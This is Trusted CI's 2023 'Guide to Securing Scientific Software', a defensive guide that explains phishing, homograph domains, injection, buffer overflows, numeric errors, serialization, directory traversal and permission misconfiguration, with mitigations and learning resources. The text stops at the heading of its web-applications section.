TRUSTED CI

THE NSF CYBERSECURITY CENTER OF EXCELLENCE

Guide to Securing Scientific Software

June 2023

Status: Version 2.0

Distribution: Public

Elisa R. Heymann, Barton P. Miller, Andrew Adams, Kay Avila, Mark Krenz, and Jason R. Lee, and Sean Peisert

About the 2021 Trusted CI Annual Challenge Team

The 2021 Annual Challenge team is a collaborative effort of Trusted CI members from Indiana University, Lawrence Berkeley National Laboratory, the National Center for Supercomputing Applications, the Pittsburgh Supercomputing Center, University of Wisconsin-Madison.

About Trusted CI

The mission of Trusted CI is to provide the NSF community with a coherent understanding of cybersecurity, its importance to computational science, and what is needed to achieve and maintain an appropriate cybersecurity program.

Acknowledgments

This document is a product of Trusted CI. Trusted CI is supported by the National Science Foundation under Grants #1920430 and #2241313. For more information about Trusted CI, please visit: http://trustedci.org/. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of the National Science Foundation.

Using & Citing this Work

Cite this work using the following information:

Elisa R. Heymann, Barton P. Miller, Andrew Adams, Kay Avila, Mark Krenz, Jason R. Lee, and Sean Peisert. “Guide to Securing Scientific Software”, v2.0, June 2023. DOI:10.5281/zenodo.5777646 https://doi.org/10.5281/zenodo.5777646

Contents

Preface

In 2021, Trusted CI conducted its focused "annual challenge" on the security (sometimes called "assurance") of software used by scientific computing and cyberinfrastructure.[1] The goal of this year-long project, involving seven Trusted CI members, is to broadly improve the robustness of software used in scientific computing with respect to security.

During the first part of the year, Trusted CI interviewed creators of scientific software and released a findings report based on those conversations.[2] Part of that effort focused on identifying gaps in the software security of the projects and analyzing what barriers prevented them from being addressed.

Version 1 of this guide was a direct result of those findings and attempted to begin bridging those gaps by providing concrete advice for anyone involved in developing or managing software for scientific projects. This new edition of the guide expands our coverage of the topic.

It is our hope that this effort will help scientific software projects better understand and ameliorate some of the most important gaps in the security of scientific software, and also to help policymakers understand those gaps so they can better understand the need for committing resources to improving the state of scientific software security. Ultimately, we hope that the effort will support scientific discovery itself by shedding light on the risks incurred in creating and using scientific software.

We appreciate your feedback on the presentation of current topics and thoughts on new topics that should be included.

[1] https://blog.trustedci.org/search/label/software%20assurance
[2] "Findings Report of the 2021 Trusted CI Annual Challenge on Software Assurance Published," Sept. 29, 2021. https://blog.trustedci.org/2021/09/findings-report-of-2021-trusted-ci.html

1 Introduction

If you write code, this guide is for you. As a person who writes code, you could come to the task of writing code from a variety of routes.

You might be a **trained computer scientist** whose primary job is programming. You probably have one or more degrees in computer science or engineering with exposure to fundamentals in many areas of computing.

You might be a **computational scientist** whose job is to span the gap between the science and the expression of the science in computer code. You probably have a degree from a computational science program or a degree in science with a minor or certificate in computing. As a result, you have training in one or more science disciplines and in several areas of computing.

You might be a **scientific domain expert** who inherited or was tasked with writing code to address a scientific problem. As part of your science degree program(s), you likely took one or a few programming courses. Along the way, you have picked up a variety of computing skills from your colleagues, by studying on your own, by attending training courses. Your computing skills tend to be focused at solving the immediate program at hand with little time to study computing fundamentals.

You might be **none of the above and developing software** — and this guide is still for you!

No matter which route you have taken, you are now responsible for software that will enable scientific discovery. And your software is likely to be shared or deployed as a service. *Once that step happens, you and the people who use or deploy your software, will be confronted with software security concerns.*

To address these concerns, you will need a variety of skills. However, it may be daunting just to know what are the concerns to address and what are the skills that you need. The goal of this guide is to provide an introduction to these topics.

Note that this guide is an introduction and not a complete reference manual. This was an intention decision so as to keep it (relatively) concise. For each area that is described, we provide a list of resources to learn more about the area and develop skills in that area.

> This guide is intended as being an accompaniment to the Framework Implementation Guide[3]. As such, it will help you to develop an understanding of what controls[4] are needed by your organization to ensure that you develop and deploy secure software and to guide you in the acquisition of the skills necessary to implement these controls.

You can read this guide beginning-to-end as a tutorial to introduce you to the topic of secure software development, or you can read it selectively to help understand specific issues. In either case, this guide will introduce you to a variety of topics and then provide you with a list of resources to dive deeper into those topics.

In Section 2, we provide some background on how this document came about. Section 3 discusses a variety of threats that your software may encounter, along with the risk associated with each threat, how to recognize the threat, how to address the threat, and a list of in-depth learning resources associated with the threat. Section 4 presents a variety of overarching best practices for secure software development, presenting the need for each practice, obstacles to adopting the practice, and approaches to including it in your project.

2 Background

The material in this guide is focused on projects that provide a user-facing front end that is exposed to the internet and the common threats of vulnerabilities and attacks on these kinds of projects. The guide introduces you to a variety of threats to your software and suggests various mitigations of those threats through a combination of different software practices and having put in place a set of procedures that address these vulnerabilities. Through the combination of having a solid set of procedures and understanding the vectors for attacks, you can mitigate many of the common security pitfalls associated with medium to large projects and collaborations.

The study team writing this document spent the first half of the 2021 calendar year engaging with developers of scientific software to understand the range of software development practices used and identifying opportunities to improve practices and code implementation to minimize the risk of vulnerabilities. Those results are documented in our findings report, published in September of 2021.[5]

[3] "The Trusted CI Framework Implementation Guide for Research Cyberinfrastructure Operators," https://www.trustedci.org/framework
[4] Framework Implementation Guide: Must 15: Baseline Control Set, Must 16: Additional & Alternate Controls.
[5]Andrew Adams, Kay Avila, Elisa Heymann, Mark Krenz, Jason R. Lee, Barton Miller, and Sean Peisert, "The State of the Scientific Software World: Findings of the 2021 Trusted CI Software Assurance Annual Challenge Interviews," Trusted CI Report, September 29, 2021. http://hdl.handle.net/2022/26799

In that study, we reviewed six scientific software projects, looking for commonalities among them related to security. Much of our focus was on both procedures and practical application of security measures and tools. Robust software security takes explicit focus — a focus that is not always forefront on the mind of developers of software used in scientific computing. However, we found that there were important gaps in software security that could be ameliorated through careful attention to and restructuring of process and organization, the appropriate use of tools and systems used in secure software development, and the greater availability and use of training appropriate to scientific software developers.

These recommendations are being made in the context of scientific software development where the main pressure is, of course, to produce tangible scientific progress. These projects often start from small efforts of a single graduate student or staff member and grow organically. As such, there is likely no formal design or clear roadmap for the evolution and distribution of the software, let alone security as a consideration in the conceptualization and design of the software. These science projects, even large ones, are generally based on grant budgets that include little of any support for security. Project leaders often view the budget as a zero-sum issue: if more money is allocated to security issues, then less money will be available for science. The urgency to produce scientific results can overwhelm any concerns about security threats, even though this perspective can cost the project more time and dollars in the long run than if security were incorporated from the beginning. Therefore, this guide is cognizant of these pressures and seeks to provide guidance that minimize resource requirements and therefore potential impact on science.

This guide was written by team members of Trusted CI, the NSF Cybersecurity Center of Excellence. The team included security experts from various parts of the discipline including operational security, secure software development, and security research.

This guide is meant as a "best practices" guide to common security vulnerabilities that have been seen in various projects. We recommend various resources that should be leveraged on your project. There are tools that can be run to expose vulnerabilities, and we will suggest the types of tools to run, but not the tools themselves. There are a set of best practices in coding, and we expand on where we have seen lapses. We define some of the procedures that should be followed when engaged in a large collaborative effort and how to share the code safely.

3 Threats[6]

Secure software is achieved by anticipating the many attack scenarios and protecting against hypothetical attacks. ISO 27005 defines a threat as:

> "A potential cause of an incident that may result in harm of systems and organization."

Threats are the answers to the question: what could go wrong? Below is a catalog of various threats; although most were inherent in our Findings Report, some did not materialize in the projects the we interviewed, but we know to be of concern for their existence was seen in other encounters, e.g., Trusted CI engagements. This is not an exhaustive list of threats, but it does represent what we found empirically.

Security improvements begin with evaluating potential threats to your system. Since these threats will be diverse and many, you need to prioritize them to focus your efforts appropriately using an approach such as First Principles Vulnerability Assessment (FPVA). Vulnerabilities can be anywhere along the attack path of a possible exploit, so the location of the vulnerability can be distant and seemingly unrelated to the actual asset the attack may compromise.

3.1 Trust Boundaries and the Attack Surface

This first task necessary to understanding threats is to identify the part of the system that you control (the parts that are isolated and protected from arbitrary modification by a user) and the part that you do not control. An example of a part that you control would be a server; an example of a part you do not control is client code downloaded into the user's browser. The line delineating these two parts is the *trust boundary*. Each possible way in which a user can interact with your system crosses that boundary and is a point from which they might launch an attack; we call these crossing points *attack points*. The full collection of attack points is called the *attack surface*.

Identifying the trust boundary and attack surface are essential first steps in determining threats to your system. Identifying the trust boundary and attack surface is a crucial first step in both Microsoft Threat Modeling[7] for design and First Principles Vulnerability Assessment (FPVA)[8] for in-depth software assessment.

---

[6] Framework Implementation Guide: Must 6: Risk Acceptance, Vulnerabilities identified under each finding.
[7] "Microsoft Security Development Lifecycle Threat Modelling," https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling
[8] James A. Kupsch, Barton P. Miller, Eduardo César, and Elisa Heymann, "First Principles Vulnerability Assessment", *2010 ACM Cloud Computing Security Workshop (CCSW),* Chicago, IL, October 2010. http://www.cs.wisc.edu/mist/papers/ccsw12sp-kupsch.pdf

3.2 Exploiting Humans

The Threat

Phishing is by far the most common and destructive of human cyber-exploits. Phishing is a social engineering technique based on tricking a victim into divulging sensitive information. A phishing attack is a method of tricking a victim into divulging some piece of information by corresponding with them in a variety of ways, such as via email, SMS text, or phone call. Phishing remains one of the most widely used and successful attack techniques. While those who are technically savvy may think they are immune to such attacks, knowledge of the technique and technical acumen is not what protects victims from these attacks. Even seasoned IT professionals have fallen victim to these attacks. Rather than exploiting vulnerabilities in computers, phishing attacks exploit the amygdala, which is the part of the brain that helps respond to emergencies.[9]

Attackers often profile their victims and use detailed authentic information in their communications to increase their success rate. These more precisely targeted phishing attacks are often called *spear phishing*.

Phishing is a threat to software security because the information divulged could be a password or credential that is being used for a source code repository. An example of this situation is if a developer is reusing the administrator password for their custom application and an attacker tricks them into divulging it through a login form that looks like their email provider's login page.

The Risks

Phishing can deceive a user into exposing information or taking other actions against computing systems and data. The risks are limited only by the authority of the user to access data or take actions on a computing system. In the case of people like system administrators, arbitrarily large risks may exist.

Recognizing the Threat

Phishing often relies on elements such as authority and urgency, for example a CEO urgently asking for all of the social security numbers in the company or asking urgently for a $25,000 wire transfer to be sent to a victim. However, authority and urgency should raise red flags, as is uncustomary behavior. Unusual technical information such as a non-customary business address, such as `billgates@aol.com` rather than

[9] C. Hadnagy and M. Fincher, *Phishing Dark Waters: The Offensive and Defensive Sides of Malicious Emails*, Wiley, 2015.

`billgates@microsoft.com`, or URL, such as `microsooft.com` or `microhackz.ru` rather than microsoft.com, can be common in phishing attacks.

The threat can be made much more difficult to detect if the host names are encoded in a different alphabet. Unicode[10] was introduced by Bell Labs in the Plan 9 operating the early 1990's to allow the representation of non-Latin alphabets and Latin alphabets that include diacritics and ligatures. They also introduced UTF-8[11] as a way to encode Unicode in ASCII. In 2003, RFC 3490[12] established a standard for internationalized domain names (IDNs), and was later superseded by RFCs 5890[13] and 5891[14]. At that point, domain names could be written in any of the world's alphabets.

IDNs allow for internationalized homographs, where a name written in one alphabet appears to be written in another. For example, `https://www.apple.com/` does not actually refer to `apple.com` as the letters `"a",` "`p`", and `"e"` are from the Cyrillic alphabet. When a user is presented with such a misleading host name, this is called an internationalized domain name homograph attack.

Addressing the Threat

Phishing can be difficult to address directly. Certain email software, such as Gmail, have built-in heuristics to identify phishing attacks, either by identifying external senders in messages received, atypical recipients in email being sent out, and common phrasing used in phishing attacks. However, such automation should not be relied upon. Training users to stop and think before responding, opening attachments, clicking on links, or even divulging information in unsolicited phone calls, remains the best, albeit far from perfect, approach for mitigating phishing. Ideally if something suspicious or unusual is noticed, users should confirm the origin and content of such requests out of band.

As risks are limited by the authority of individual users, another mitigation strategy includes the principle of least privilege to limit the amount of individual authority of any user to access (and therefore potentially) information and/or take other actions on a computing system.

[10] The Unicode Consortium. https://home.unicode.org/
[11] Francois Yergeau, "UTF-8, A Transformation Format of ISO 10646", RFC 3629, IETF, November 2003. https://datatracker.ietf.org/doc/html/rfc3629
[12] Patrick Faltstrom, Paul Hoffman and Adam M. Costello, "Internationalizing Domain Names in Applications (IDNA), RFC 3490, IETF, March 2003. https://datatracker.ietf.org/doc/html/rfc3490
[13] John C. Klensin, "Internationalized Domain Names for Applications (IDNA): Definitions and Document Framework", RFC 5890, August 2010. https://datatracker.ietf.org/doc/html/rfc5890
[14] John C. Klensin, "Internationalizing Domain Names in Applications (IDNA): Protocol", RFC 5891, IETF, August 2010. https://datatracker.ietf.org/doc/html/rfc5891

3.3 Exploiting Software

Building software that is correct, efficient, well structured, and maintainable is already a big challenge. However, building secure software requires new skills and thought processes. You have to start thinking like an attacker and program even more defensively than you might have in the past. This section introduces a variety of threats to your code, both to help you anticipate these specific threats and to help you start to develop the necessary defensive thought processes.

3.3.1 Injection Attacks

The Threat

An injection attack is an attack on a command processor (often called an “interpreter”), such as a shell, SQL interpreter, language interpreter (for languages such as Perl, Ruby, Javascript, and Python), or XML parser. When a program uses a command processor, it constructs commands at runtime and has them executed by the command processor. The goal of an injection attack is to cause the command processor to execute an unintended and likely dangerous command.

An injection attack occurs in a program when four basic conditions are satisfied:

1. The program is using a **command processor** such as a shell, SQL interpreter or language interpreter.
2. The program **constructs strings at runtime** to be used as the commands.
3. The strings are constructed all or in part **based on user input**.
4. There is **insufficient checking or sanitizing** of the strings before they are executed by the command processor.

Condition 4 means that the input contains characters that could subvert the programmer's intent. For example, if the input contained the command separator character for the interpreter, such as semicolon, then a user could cause the interpreter to execute a command completely of their own creation, without control by the program. For example, if an attacker includes a semicolon at the end of an input field on a web form, and if that field is used to construct a shell command, then the attacker might be able to cause a shell command of their choice to be executed on the server.

The Risks

Note that injection attacks are extremely important as they are consistently at or near the top of lists of the top vulnerabilities found in code.

An injection attack allows possibly unconstrained access to a command processor embedded within a program. Such access would allow an attacker to bypass safety checks and control the program's execution. This execution might result in unconstrained access to a database system, execution of arbitrary shell commands, or execution of arbitrary program statements.

Recognizing the Threat

There is an injection when there is a path from the attack surface to the execution of the command.

Checking or sanitizing the user input data is a common place to find security bugs, as it can involve understanding all the corner cases of the specific interpreter being used and the implementation idiosyncrasies of that interpreter.

There are several places where injection attacks can arise:

SQL Injections: Relational databases are a key mechanism for organizing storage and SQL is a universal language standard for accessing such databases. SQL queries often need to include user input. For example, a SQL query can be used to look up a username and password in a database to validate login credentials. This means that the user-provided name and password have to somehow be part of the query to the database.

Command (Shell) Injections: Programs often use shell commands to accomplish larger tasks such as sending an email or doing file maintenance operations. These shell commands are often constructed with user input. For example, when constructing a command to send an email message, the user's email address will be included as part of the command.

Code Injections: Programs written in interpreted languages -- such as Perl, Ruby, Javascript, and Python -- can construct program code at runtime and then execute that code with a method such as "exec". If the program constructs this code using user input, then there is opportunity for an attacker to cause arbitrary code to execute.

XML Injections: XML is a common way to encode complex structured data and pass it between programs or store in a file. When accepting XML from a user, it must be carefully checked or the parser must be controlled to keep the input from causing crashes or denial of service attacks.

Addressing the Threat

Injection attacks can be prevented by using mechanisms that avoid the attack, validating the input, or sanitizing the input.

Avoidance: The best approach preventing an injection attack is to avoid the possibility of an attack. For example, in SQL there are “prepared statements” that allow user input to be included in SQL expressions, but never be evaluated as a SQL command. The use of such mechanisms, when available, is the best and most reliable approach to preventing an injection attack.

Validation: If your command processor does not have an avoidance mechanism, then the next best approach is to carefully check any input used in constructing a command string. Such checking can take the form of a blocked list or allow list. A blocked list looks for the presence of dangerous characters such as command separators like “;” and string delimiters such as the single and double quote characters. If any of these characters are found then the input should be rejected. An allow list checks the input for only the presence of permitted characters such as the alphanumerics. Any such checking must often consider international character sets. If an unallowed character is found, then the input is rejected.

Sanitization: The sanitizing approach tries to modify the user input so that it will not create unintended results when included in an interpreter command. This approach requires identifying the problematic characters as we suggested for a blocked list, and then neutralizing them. Neutralizing them is often done by putting an escape character, such as “\” before the problematic character. For example, a “`;`” might be converted to “`\;`”. A strong word of warning: such sanitization requires a complete understanding of the language being parsed and covering of all corner cases. Attempts to sanitize input are often incomplete and lead to a false sense of security.

Learning Resources

Introduction to Software Security[15] videos, text chapters, and exercises:

- Introduction to Injection Attacks: Module 3.8
- SQL Injections: Module 3.8.1
- Command (shell) Injections: Module 3.8.2
- Code Injections: Module 3.8.3
- XML Injections: Module 3.8.4

3.3.2 Buffer Overflows and Overruns

The Threat

This threat occurs mainly in programs written in C or C++, where access to the basic array type does not include any form of bounds checking. Programs allocate memory space,

[15] https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/

typically in arrays, to hold data that comes from the user or sent to the user. That user data can end up in the buffer either when the buffer is used directly in an I/O or communications function or when user data is copied into the buffer from another one. Two threats can occur here. First, an *overflow* can occur when the buffer is written if the buffer is not big enough for the amount of user data read or copied. This overflow can occur if there are not careful checks made on each use of a buffer that holds user data. Second, an *overrun* can occur when the buffer is read if there are not careful checks to ensure that the program does not read beyond the limits of the buffer.

The Risks

An overrun can cause unpredictable changes to the program's state. Overwritten data can cause the program to execute in a way that was not intended by the programmer. Overwritten control information, such as function return addresses or frame pointers on the stack can cause arbitrary changes in execution. In either case, the results could be a crash, hang (infinite loop), error in program calculation, or even arbitrary control of the program or exposure of private information by an attacker.

Recognizing the Threat

The first step in recognizing this threat is to identify any C or C++ code present in your project. Second is to identify any input functions that take a buffer that is a standard C array type as a parameter. These functions might come from normal I/O, networking, database libraries, or other frameworks. In each case, check to see that you know how big are the buffers in all cases and that the functions have properly specified length fields.

The third step is to make sure that any manipulation of the data **always** includes a limit based on the size of the buffers. Functions like `strcpy`, which have no length parameter, should always be avoided. Loops that are scanning for sentinel values, like scanning a string until finding a semicolon, should also include the length of the buffer in the loop termination condition.

Fourth is to look for overly complex pointer expressions, especially the "&" operator where you are taking the address of a data structure and storing it in a pointer. Consider this line of code from OpenSSL that enabled the Heartbleed vulnerability:

```
unsigned char *p = &s->s3->rrec.data[0]
```

Here, taking the address of a field three levels deep into nests and dynamically allocated structures creates a level of complexity confusing to most programmers and beyond the ability of any current static analysis tools.

Addressing the Threat

Buffer overflows and overruns can be addressed by avoiding the possibility of such an attack, coding carefully to defend against it, or using static and dynamic analysis tools to detect instances of these errors.

Avoidance: The simplest and best approach to preventing buffer overflows and overruns is to avoid the data types that allow such errors to happen, i.e., the C and C++ array type. The easiest way to avoid these types is to avoid C and C++. Interpreted languages such as Java, C#, Python, Ruby, and Perl all have array types that have a length field associated with each array variable or object. Modern languages like Rust and Go have proven to be satisfactory substitutes for C and C++, while maintaining the features needed for systems programming.

If you need to stick with C++, then avoid the built-in array type and use the `array` or `vector` classes. Of course, the system call interface is based on standard C types, so you have to be careful when converting to and from parameters of an array type. Note that C does not support classes, so there are no good alternatives in that language.

Defense: Ensure that any call to an I/O or networking function includes a length parameter that is carefully set. In C and C++, avoid use of the "str" functions like `strcpy` and `strlen`, as they depend on a null (zero) byte being present at the end of the string. In C++, avoid use of the basic array type, instead use class types such as `Array` and `String`.

Simplicity in coding is often the best defense. Complex nested structure types can often create confusion or ambiguity about bounds checking of different parts of the data structure. This is exactly the situation that caused the bug that allowed the worldwide Heartbleed vulnerability in the OpenSSL library.

Tools: For both C and C++, you should make use of both static and dynamic analysis tools that check for memory errors, as described in Section 4.3. In addition, testing techniques, such as fuzz random testing, can expose these types of errors.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Pointers and Strings: Module 3.1

3.3.3 Numeric Errors

The Threat

Improper integer computation causes security issues that many times occur silently or go undetected. The source of numeric errors is that computers express integers as binary values contained in a limited number of bits, and it is easy for programmers to overlook bugs due to wrong assumptions, faulty reasoning, or simply forget to use necessary caution.

To understand how integer conversion and calculation errors happen, recall that many languages are based on integer types that are represented as fixed-length bit strings. The C language includes several sizes of integers including the `char` type, and the language specification includes many subtle distinctions and explicitly leaves unspecified (for compiler designers to determine) the details of using these types correctly.

Consider an example where a simple operation, such as assignment, can have a surprising result. Consider the number 256 (2^8) represented below as a 16-bit integer, with the 1 followed by eight zeros on its right.

0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0

When this nonzero value is converted (cast) to an 8-bit integer, it will be truncated (losing the leftmost 8 bits) and become zero.

0	0	0	0	0	0	0	0

Computation within the same type can also lead to overflow and surprising results. If we had multiplied the value 256 by itself, the result would be too big to represent as a 16-bit integer and would have been truncated to zero.

Be careful not to assume that if you are using a more modern language than C (or C++) you are safe. In Java, as in many other languages, you can add or multiply two positive integers and get a negative result as a consequence of an overflow.

The Risks

The peculiarities of fixed-size integer arithmetic and conversions are subtle and can easily lead to serious security vulnerabilities. Some of the most common kinds of flaws to be vigilant of are:

Truncation: Some programming languages *silently* truncate the value during an assignment operation. This truncation happens as a result of type conversion between numeric values of different sizes. Some languages may have ways to detect some of these problems either at runtime or with compilation options.

Overflow: Similar to truncation, some programming languages silently overflow the results of a numeric calculation. This is a subtle issue because overflow may be a desired behavior in some calculations, such as summing values for a checksum operation, and an undesired behavior in other cases, such as when calculating an array subscript.

Signed and Unsigned arithmetic: Since the range that can be represented for a given size integer differs for signed and unsigned values, this introduces an additional set of problems. When combined with truncation or overflow, incorrect handling of signs can generate even more unexpected results.

Characters as integers: In languages like C and its descendants, the `char` type is an integer and it may or may not be signed so operations with characters can be deceptively tricky.

Floating point: The range and precision of floating point numbers may exceed that of integer types but still there are limitations to accuracy as well as truncation or rounding errors when the result is converted to an integer value. Very small values may be subject to underflow as well.

Intermediate results: Even though the final value of a computation is within range of the target type, overflow may occur for intermediate values at any step of a computation.

Recognizing the Threat

Look for any computation with integers (often including characters as integers). Simple converting (casting) integer types can introduce errors. Computation with integers is always subject to these kinds of problems, and that includes not just arithmetic but also comparison and shifting. Vigilance for numeric errors is required not just for math formulas, but also array indexes, buffer offsets, and many other places where computation happens.

Remember that numeric errors can occur in most programming languages.

Addressing the Threat

Many of these flaws only occur with extremely large or small numbers, or in corner cases. So vulnerable code will work nearly all the time, with hidden error cases that are rare and are difficult to detect without careful code review and testing. Each time that you port the code to a new platform, you have to recheck it. It is good practice to document any assumptions that you are making about the range of values that you expect a variable to hold.

Be aware that different compilers can potentially introduce flaws when the language specification does not precisely prescribe semantics. For example, the C language specifies minimum sizes for types; if a compiler uses a larger size, some computations may yield different results. Also in C, the char type can be either signed or unsigned, so it is good practice to explicitly declare variables as signed or unsigned. To protect code that may be sensitive to the whims of the compiler where the language specification is lax, it is important to create test cases to ensure code that will not be broken by a compiler change.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Numeric Errors: Module 3.2

3.3.4 Exceptions

The Threat

Exceptions are a nonlocal control flow mechanism typically used to propagate error conditions in stack-based languages such as Java, C#, C++, Python, Ruby, and many more. The exception **try** block specifies the scope of the code where an exception may arise and the **catch** block(s) handle exceptions that may occur, typically doing clean up and logging what happened.

Exceptions are a powerful programming tool, and using them incorrectly may lead to security vulnerabilities.

The Risks

Some of the most common kinds of mistakes with exceptions that can lead to vulnerabilities are:

Doing nothing about exceptions: If your code never handles exceptions then one error can lead to a crash and take down an entire system. An attacker can exploit this by triggering an exception, achieving a denial of service.

Catching exceptions without doing enough recovery: It is rarely a good practice to catch and then ignore an exception.

Information leakage: It is common for systems under development to be full of debugging output to help with diagnosis, but unless these are removed or disabled in production systems it can lead to serious unintended disclosures of information. Publicly visible logging or error messages may expose internal state, possibly including sensitive information.

Many languages make it easy for exception handlers to log stack traces, which is great for debugging but can reveal internal information.

Recognizing the Threat

Exception handling done improperly or not at all can result in incorrect state or disclosing additional information that can be useful to attackers. Any program that does not use exceptions should be suspect. Any empty **catch** block should also be suspect. And all exception handling in your code could lead to security vulnerabilities.

Log files can contain sensitive information from reporting exceptions.

Addressing the Threat

Add proper exception handling. Callers of methods that throw exceptions will typically need to handle all possible exceptions unless you are certain that the condition cannot possibly arise.

Throw exceptions to alert calling code of problems rather than ad hoc measures that some callers may fail to test for. Then either recover from the error gracefully or rethrow the exception to be handled further up the stack. Unless you are certain that recovery is successful, rethrow to be on the safe side.

Catching and responding to specific exceptions is almost always preferred to generalized abstract exception handling of what could be anything. Code that anticipates specific problems (e.g. null pointer, or I/O error) will more likely take correct remedial action. Nevertheless, long-lived services should consider catching general exceptions at a high level to avoid unexpected crashes.

Good test coverage of all exception code paths is the best way to avoid surprises in production.

Logging should never include sensitive information: it's best to avoid logging data values unless you are certain they are not sensitive. Also avoid logging stack traces or configuration data.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Exceptions: Module 3.4

3.3.5 Serialization

The Threat

Programmers routinely work with data objects in memory, but sometimes the objects need to be sent over a network or written to persistent storage (typically a file) to save some parts of the state of the program. Serialization is a technique that allows you to package your data objects in a robust and consistent form for storage or transmission, and then later restored to their in-memory form, either on the original machine or a different one.

When serialized objects are deserialized, they are expected to continue to work correctly even in future implementations using different hardware and/or software. Serialization fundamentally works in similar ways across most languages and implementations, although the specifics vary greatly depending on the style and nuances of the particular language.

The Risks

Attempting to deserialize any data other than valid serialized data is dangerous. This warning applies to any data an attacker might be able to modify. Deserializing damaged or maliciously modified data will generally result in indeterminate behavior, and that is a ripe opportunity for attackers to craft attacks.

Recognizing the Threat

The easiest security mistake to make with serialization is to inappropriately trust the provider of the serialized data. The act of deserialization converts the data to the internal representation used by your programming language, with few if any checks as to whether the encoded data was corrupted or intentionally designed to be malicious, assuming the standard library will be fine when it actually does not do the right thing or possibly exposes protected information inadvertently.

Addressing the Threat

While there is no magic bullet for dealing with this threat, the use of the multiple mitigations below, when applicable, can greatly mitigate the risks. Keep in mind that unless there is certainty that data integrity can be assured, *avoiding serialization is the only surefire way of eluding these potential issues.*

- When possible, write a class-specific serialization method that explicitly does not expose sensitive fields or any internal state to the serialization stream. In some cases, it may not be possible to omit sensitive data and still have the object work properly.

- Ensure that deserialization (including superclasses) and object instantiation does not have side effects.
- Never deserialize untrusted data. In general, the behavior of deserialization given arbitrarily tampered data is difficult, if not impossible, to guarantee safeness.
- Serialized data should be stored securely, protected by access control or signed and encrypted. One useful pattern is for the server to provide a signed and encrypted serialization blob to a client; later the client can return this intact to the server where it is only processed after signature checking.
- Sometimes it helps to sanitize deserialized data in a temporary object. For example, deserialize an object first, instantiating and populating it with values, but before actually using the object, ensure that all fields are reasonable and consistent, or force an error response and destroy any object that appears faulty.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Serialization: Module 3.5

3.3.6 Directory Traversal

The Threat

A directory traversal attack, also called a path traversal attack, occurs when the program constructs a path name using inputs controlled by the attacker that results in accessing an unintended file.

Conceptually these attacks are similar to injection attacks in that instead of a simple identifier the attacker enters metacharacters that change the meaning of the resultant path to reference other files never intended to be possible.

The Risks

The attacker accessing an unintended file or directory.

Recognizing the Threat

When software builds pathname strings from inputs, attackers can influence the introduction of various special characters (e.g., path separators "/" and "\", current directory (“.”), and parent directory “..”), which provides an opportunity to introduce vulnerabilities.

Addressing the Threat

Directory traversal attacks are only possible when code builds path names based on inputs controlled by the user (attacker), so it is safest to avoid doing such things in the first place.

Any time code constructs path names to access files, it is imperative to prevent malicious input from manipulating the resultant path in unexpected ways.

If you must build path names dynamically, carefully restrict the input to characters that are safe for path components, disallowing introduced separators and path characters with special meaning. For example, requiring the input string to consist strictly of only alphanumerics, perhaps using the regular expression

```
^[A-Za-z0-9]+$
```

and rejecting all others prevents directory traversal. However, relying on this approach only works if a simple restriction like this can be used. Unicode or other complex character encodings can easily complicate the necessary checks and create vulnerabilities. Rather than constructing paths directly with strings, when available use standard library code such as the Java `Path` object.

Using canonical path names – unique path names that name a file or directory that has all special names including “.” and “..”, as well as symbolic links resolved – is a good solution since these canonical names do not include tricky references to parent directories or unresolved links. Use library calls to transform paths to canonical path names that can be safely checked to verify that the actual reference is to the intended portion of the file system. Converting relative paths to absolute makes it easier to examine them to ensure they are valid.

Where possible, reducing the privileges of the process that will be accessing files mitigates potential damage if the code is fooled.

It is risky to attempt to cleverly handle all possible malicious inputs because you must correctly anticipate and block each and every possible attack.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises:

- Directory Traversal: Module 3.3

3.3.7 Improper Use of Permissions

The Threat

Permissions or access control lists are meant to help limit access to resources, but sometimes their complexity or default settings can lead to the accidental exposure of those resources.

One of the simplest attacks possible is that of an attacker reading data they are not authorized to read. The permissions on a file, directory, log data, document on a cloud service or other resource may have not been set properly, allowing the attacker to access, execute, download, modify or delete the data or resource. An attacker may also repeatedly try to access a resource waiting for a resource to become temporarily exposed through a race condition. The attacker may also be able to leverage the access they have to another website on a shared server.

Attackers can make use of file upload features to upload executable code on misconfigured web servers. For example, a form that allows image files to be uploaded might not filter file types properly and allow an attacker to upload code files such as a PHP file. Then the attacker can directly access the uploaded PHP file to execute it, possibly modifying other code, bypassing security controls.

The Risks

A resource can be exposed by not setting permissions to limit access to only those who need it. Resources may be exposed through both the service that provides the resource and through the operating system that manages the service.

Sensitive data, program code, log data, and more may be exposed by this type of misconfiguration. Such an exposure can be caused by a misconfigured web application or operating system.

An example of a misconfigured web application can occur when a configuration file for a web application has been placed inside the document root directory for a web server. This configuration file is used by the web server as it runs the code for the website. However, since the configuration file resides in a directory that users can access, they might be able to read or modify this file through a simple web request.

An example of a misconfigured operating system can occur when a file that is the backend for this web resource may not be sufficiently protected at the operating system level. Another program or user running within the operating system may be able to access the file, probably through automated scanning of the filesystem to find exposed files.

Filesystems can also be exposed through remote filesystem mounts such as NFS or Windows shares in ways that allow users from other systems to find exposed files and directories.

Recognizing the Threat

The OWASP top 10 places this threat as #5 on its 2021[16] list under the category of Security Misconfiguration, demonstrating its importance. You can examine a service's log file, such as your web server's access log, to reveal that attackers are trying to access files and directories that may exist and be exposed. While installing a service or web application, there may be advice in the documentation about potential exposures and how to harden the security through configuration changes or through setting file system permissions.

A file system can be scanned to locate files that have been exposed with group- or world-readable permissions or by simply trying to access files through another user on the system.

Addressing the Threat

When installing a service or developing an application, it is important to consider what the minimum level of access that is required for a service to be functional and work to restrict permissions on resources to that minimum level. If possible, place files with sensitive data outside the website document root directory tree.

If a file such as a code library does not need to be directly accessed by users, try to place it outside the document root or place web server level restrictions on the file or directory that contains it to prevent direct access or execution.

Configuration files especially should be protected as they might contain passwords for databases, secret keys, signatures, developer email addresses, or other sensitive data.

Application code should not be writable by the server process. For instance, a web application that is written in PHP should not allow the PHP code files to be owned or writable by the Apache, nginx or other web server process user. Likewise, the server process should not be running as a privileged user like "root" or "administrator". This may also be considered insecure design.

[16] "OWASP Top 10 A05:2021 – Security Misconfiguration", https://owasp.org/Top10/A05_2021-Security_Misconfiguration/

3.3.8 Web Applications

